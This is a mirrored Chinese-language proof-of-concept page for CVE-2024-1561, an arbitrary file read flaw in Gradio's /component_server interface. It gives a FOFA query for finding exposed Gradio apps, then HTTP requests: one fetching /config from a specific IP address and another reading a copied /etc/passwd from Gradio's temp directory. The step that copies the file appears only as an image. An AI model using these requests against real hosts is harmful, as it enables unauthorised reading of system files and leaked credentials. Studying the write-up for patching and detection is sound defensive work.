mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 22:54:51 +08:00
44 lines
2.3 KiB
Markdown
44 lines
2.3 KiB
Markdown
# python Gradio插件存在任意文件读取漏洞(CVE-2024-1561)
|
||
|
||
# 一、漏洞简介
|
||
Gradio是一个开源的Python库,用于创建机器学习模型的交互式界面。它使得展示和测试模型变得简单快捷,无需深入了解复杂的前端技术。广泛应用于数据科学、教育、研究和软件开发领域,尤其适合于快速原型设计、模型验证、演示和教学。Gradio的/component_server接口不正确地允许使用攻击者控制的参数调用`Component`类的任何方法。具体来说,通过利用`Block`类的`move_resource_to_block_cache()`方法,攻击者可以将文件系统上的任何文件复制到临时目录,然后检索它。该漏洞允许未经授权的本地文件读取访问,尤其是当应用程序通过`launch(share=True)`暴露到互联网时,从而允许远程攻击者读取主机机器上的文件。此外,托管在`huggingface.co`上的gradio应用也受到影响,可能导致敏感信息,如存储在环境变量中的API密钥和凭据的泄露。
|
||
|
||
# 二、影响版本
|
||
+ Gradio
|
||
|
||
# 三、资产测绘
|
||
+ fofa`body="__gradio_mode__"`
|
||
|
||

|
||
|
||
# 四、漏洞复现
|
||
首席获取components的id值
|
||
|
||
```plain
|
||
GET /config HTTP/1.1
|
||
Host: 101.35.228.120
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
|
||
```
|
||
|
||

|
||
|
||
携带id值将/etc/passwd文件的内容写入临时文件
|
||
|
||

|
||
|
||
读取文件
|
||
|
||
```plain
|
||
GET /file=/tmp/gradio/4985ef451ed671433e69560a0edc00761e44efab/passwd HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
|
||
Connection: close
|
||
Accept-Encoding: gzip
|
||
```
|
||
|
||

|
||
|
||
|
||
|
||
> 更新: 2024-09-05 23:27:24
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sh67wp3qcrzx75qv> |